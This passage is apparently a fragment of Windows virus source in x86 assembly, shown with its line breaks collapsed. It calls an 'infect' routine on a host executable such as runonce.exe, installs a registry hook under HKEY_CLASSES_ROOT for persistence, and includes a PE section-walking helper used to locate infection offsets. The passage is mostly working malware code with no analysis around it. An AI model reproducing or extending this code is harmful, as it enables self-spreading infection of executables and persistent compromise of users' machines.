eax ; eax can be either a pointer to the full path of ; runonce.exe (win9x) or a pointer to a "reversed" computername exe path (NT) mov dword ptr [ebp + _MainHostFileName], eax mov byte ptr [ebp + _MainHostFile], 1 Call infect ; infect it ! (Wont infect if we are running from it) mov byte ptr [ebp + _MainHostFile], 0 pop edi assume ebx : nothing lea eax, dword ptr [ebp + Disp] push eax lea eax, dword ptr [ebp + pKey] push eax xor eax, eax push eax push KEY_ALL_ACCESS push REG_OPTION_NON_VOLATILE push eax push eax lea eax, dword ptr [ebp + szKeyName] push eax push HKEY_CLASSES_ROOT lea eax, dword ptr [ebp + szRegCreateKeyExA] Call ADVAPI32Api lea esi, dword ptr [ebp + szRegHook] mov eax, edi call _strlen push edi add edi, eax mov ecx, eax @@: lodsb stosb inc ecx or al,al jnz @B pop edi push ecx ; <- size of hookstring push edi ; hookstring push REG_SZ xor eax, eax push eax push eax push dword ptr [ebp + pKey] lea eax, dword ptr [ebp + szRegSetValueExA] Call ADVAPI32Api push dword ptr [ebp + pKey] lea eax, dword ptr [ebp + szRegCloseKey] Call ADVAPI32Api add esp, 800h ret SetupRegHook endp ; ; ;in: esi = pFileMap ;in: edi = RVA ; ;out: eax = File offset ; RVAToOffset PROC uses edi esi ecx assume esi:ptr IMAGE_DOS_HEADER add esi,[esi].e_lfanew assume esi:ptr IMAGE_NT_HEADERS mov edx,esi add edx,sizeof IMAGE_NT_HEADERS movzx ecx,[esi].FileHeader.NumberOfSections assume edx:ptr IMAGE_SECTION_HEADER .while ecx>0 ; check all sections .if edi>=[edx].VirtualAddress mov eax,[edx].VirtualAddress add eax,[edx].SizeOfRawData .if edi